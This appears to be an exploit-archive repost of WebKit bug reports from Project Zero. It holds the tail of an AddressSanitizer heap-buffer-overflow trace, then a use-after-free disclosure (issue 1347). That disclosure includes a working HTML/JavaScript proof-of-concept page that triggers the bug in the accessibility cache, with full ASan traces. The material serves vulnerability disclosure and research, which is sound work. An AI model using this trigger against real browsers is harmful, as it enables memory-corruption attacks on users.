    #47 0x110748693 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x857693)
    #48 0x110709736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #49 0x110185047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #50 0x11017ddf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #51 0x112c55661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #52 0x10630143b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #53 0x1063046d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #54 0x106303bc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #55 0x105af5117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #56 0x1058d4695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #57 0x1058dda48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #58 0x11d070842 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d22842)
    #59 0x11d0711b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #60 0x7fffd52af320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #61 0x7fffd529021c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #62 0x7fffd528f715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #63 0x7fffd528f113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #64 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #65 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #66 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #67 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #68 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #69 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #70 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #71 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #72 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #73 0x1057d356c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #74 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x6030000f5de6 is located 0 bytes to the right of 22-byte region [0x6030000f5dd0,0x6030000f5de6)
allocated by thread T0 here:
    #0 0x108a3fd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11d0c0ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11d0bed6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11d045247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11d04463a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x11d080ff8 in WTF::Ref<WTF::StringImpl> WTF::StringImpl::createUninitializedInternalNonEmpty<unsigned short>(unsigned int, unsigned short*&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d32ff8)
    #7 0x11d07f8f3 in WTF::Ref<WTF::StringImpl> WTF::StringImpl::createInternal<unsigned short>(unsigned short const*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d318f3)
    #8 0x11d07f80d in WTF::StringImpl::create(unsigned short const*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d3180d)
    #9 0x11d0b2188 in WTF::String::String(unsigned short const*, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d64188)
    #10 0x1107e1afc in WTF::NeverDestroyed<WTF::String>::NeverDestroyed<unsigned short const*, int>(unsigned short const*&&, int&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8f0afc)
    #11 0x112523429 in WebCore::RenderCombineText::combineText() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2632429)
    #12 0x112014105 in WebCore::BreakingContext::handleText(WTF::Vector<WebCore::WordMeasurement, 64ul, WTF::CrashOnOverflow, 16ul>&, bool&, unsigned int&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2123105)
    #13 0x112011929 in WebCore::LineBreaker::nextLineBreak(WebCore::BidiResolverWithIsolate<WebCore::InlineIterator, WebCore::BidiRun, WebCore::BidiIsolatedRun>&, WebCore::LineInfo&, WebCore::LineLayoutState&, WebCore::RenderTextInfo&, WebCore::FloatingObject*, unsigned int, WTF::Vector<WebCore::WordMeasurement, 64ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2120929)
    #14 0x1124a67c1 in WebCore::RenderBlockFlow::layoutRunsAndFloatsInRange(WebCore::LineLayoutState&, WebCore::BidiResolverWithIsolate<WebCore::InlineIterator, WebCore::BidiRun, WebCore::BidiIsolatedRun>&, WebCore::InlineIterator const&, WebCore::BidiStatus const&, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25b57c1)
    #15 0x1124a49f5 in WebCore::RenderBlockFlow::layoutRunsAndFloats(WebCore::LineLayoutState&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25b39f5)
    #16 0x1124ab383 in WebCore::RenderBlockFlow::layoutLineBoxes(bool, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25ba383)
    #17 0x1124725f7 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25815f7)
    #18 0x11242caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #19 0x112477a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #20 0x1124741c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #21 0x112472602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #22 0x11242caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #23 0x112477a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #24 0x1124741c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #25 0x112472602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)
    #26 0x11242caa2 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x253baa2)
    #27 0x112477a3c in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2586a3c)
    #28 0x1124741c2 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25831c2)
    #29 0x112472602 in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2581602)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2b574) in WTF::StringImpl::at(unsigned int) const
Shadow bytes around the buggy address:
  0x1c060001eb60: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x1c060001eb70: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
  0x1c060001eb80: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x1c060001eb90: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x1c060001eba0: fa fa 00 00 00 00 fa fa fd fd fd fd fa fa fd fd
=>0x1c060001ebb0: fd fd fa fa fd fd fd fd fa fa 00 00[06]fa fa fa
  0x1c060001ebc0: fd fd fd fa fa fa 00 00 00 fa fa fa 00 00 00 fa
  0x1c060001ebd0: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00
  0x1c060001ebe0: 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
  0x1c060001ebf0: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fa
  0x1c060001ec00: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30388==ABORTING
*/
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1347

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector (simply opening the inspector enables accessibility features). On WebKitGTK+ (and possibly other WebKit releases) accessibility features are enabled by default.

PoC:

=================================================================
*/

<style>
#colgrp { display: table-footer-group; }
.class1 { text-transform: capitalize; display: -webkit-box; }
</style>
<script>
function go() {
  textarea.setSelectionRange(30,1);
  option.defaultSelected = true;
  col.setAttribute("aria-labeledby", "link");
}
</script>
<body onload=go()>
<link id="link">
<table>
<colgroup id="colgrp">
<col id="col" tabindex="1"></col>
<thead class="class1">
<th class="class1">
<textarea id="textarea" readonly="readonly"></textarea>
<option id="option"></option>

/*
=================================================================

ASan log:

=================================================================
==30369==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000346940 at pc 0x000113012178 bp 0x7fff563cac80 sp 0x7fff563cac78
READ of size 8 at 0x603000346940 thread T0
==30369==WARNING: invalid path to external symbolizer!
==30369==WARNING: Failed to use and restart external symbolizer!
    #0 0x113012177 in WTF::ListHashSetConstIterator<WebCore::Node*, WTF::PtrHash<WebCore::Node*> >::operator++() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1f3177)
    #1 0x112ff326d in WTF::ListHashSetIterator<WebCore::Node*, WTF::PtrHash<WebCore::Node*> >::operator++() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1d426d)
    #2 0x113007cf2 in WebCore::AXObjectCache::performDeferredCacheUpdate() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1e8cf2)
    #3 0x115dcb242 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fac242)
    #4 0x114f89e74 in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x216ae74)
    #5 0x7fffd5298c53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)
    #6 0x7fffd52988de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)
    #7 0x7fffd5298439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)
    #8 0x7fffd528fb80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)
    #9 0x7fffd528f113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #10 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #11 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #12 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #13 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #14 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #15 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #16 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #17 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #18 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #19 0x10983356c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #20 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x603000346940 is located 16 bytes inside of 24-byte region [0x603000346930,0x603000346948)
freed by thread T0 here:
    #0 0x10ca9c294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11ffee650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x11300fccb in WTF::ListHashSet<WebCore::Node*, WTF::PtrHash<WebCore::Node*> >::deleteAllNodes() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1f0ccb)
    #3 0x113007edd in WTF::ListHashSet<WebCore::Node*, WTF::PtrHash<WebCore::Node*> >::clear() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1e8edd)
    #4 0x113007d30 in WebCore::AXObjectCache::performDeferredCacheUpdate() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1e8d30)
    #5 0x1139a3d4a in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb84d4a)
    #6 0x1135afb10 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790b10)
    #7 0x1135b6542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #8 0x1137764b1 in WebCore::Element::innerText() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9574b1)
    #9 0x112e437cc in WebCore::accessibleNameForNode(WebCore::Node*, WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x247cc)
    #10 0x112e47a63 in WebCore::AccessibilityNodeObject::accessibilityDescriptionForElements(WTF::Vector<WebCore::Element*, 0ul, WTF::CrashOnOverflow, 16ul>&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28a63)
    #11 0x112e47dce in WebCore::AccessibilityNodeObject::ariaLabeledByAttribute() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28dce)
    #12 0x112e40a59 in WebCore::AccessibilityNodeObject::ariaAccessibilityDescription() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x21a59)
    #13 0x112e47eec in WebCore::AccessibilityNodeObject::hasAttributesRequiredForInclusion() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28eec)
    #14 0x112e79f53 in WebCore::AccessibilityRenderObject::computeAccessibilityIsIgnored() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5af53)
    #15 0x112e613eb in WebCore::AccessibilityObject::accessibilityIsIgnored() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x423eb)
    #16 0x112ff54b1 in WebCore::AXObjectCache::getOrCreate(WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1d64b1)
    #17 0x112ff377f in WebCore::AXObjectCache::getOrCreate(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1d477f)
    #18 0x112ff8bbd in WebCore::AXObjectCache::textChanged(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1d9bbd)
    #19 0x113007cea in WebCore::AXObjectCache::performDeferredCacheUpdate() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1e8cea)
    #20 0x115dcb242 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2fac242)
    #21 0x114f89e74 in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x216ae74)
    #22 0x7fffd5298c53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)
    #23 0x7fffd52988de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)
    #24 0x7fffd5298439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)
    #25 0x7fffd528fb80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)
    #26 0x7fffd528f113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #27 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #28 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #29 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)

previously allocated by thread T0 here:
    #0 0x10ca9bd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11ffeead4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11ffecd6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11ff73247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11ff7263a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x113011c38 in WTF::ListHashSetNode<WebCore::Node*>::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1f2c38)
    #7 0x113020d79 in void WTF::ListHashSetTranslator<WTF::PtrHash<WebCore::Node*> >::translate<WTF::ListHashSetNode<WebCore::Node*>, WebCore::Node* const&, std::nullptr_t>(WTF::ListHashSetNode<WebCore::Node*>*&, WebCore::Node* const&&&, std::nullptr_t&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x201d79)
    #8 0x112ffbec9 in WTF::ListHashSet<WebCore::Node*, WTF::PtrHash<WebCore::Node*> >::add(WebCore::Node* const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dcec9)
    #9 0x112ffb785 in WebCore::AXObjectCache::deferTextChangedIfNeeded(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1dc785)
    #10 0x11376c58e in WebCore::Element::attributeChanged(WebCore::QualifiedName const&, WTF::AtomicString const&, WTF::AtomicString const&, WebCore::Element::AttributeModificationReason) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94d58e)
    #11 0x11377298d in WebCore::Element::didAddAttribute(WebCore::QualifiedName const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x95398d)
    #12 0x1137727a1 in WebCore::Element::addAttributeInternal(WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9537a1)
    #13 0x11376bf12 in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomicString const&, WebCore::Element::SynchronizationOfLazyAttribute) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94cf12)
    #14 0x11376bd0b in WebCore::Element::setAttribute(WTF::AtomicString const&, WTF::AtomicString const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x94cd0b)
    #15 0x114443e31 in WebCore::jsElementPrototypeFunctionSetAttributeBody(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1624e31)
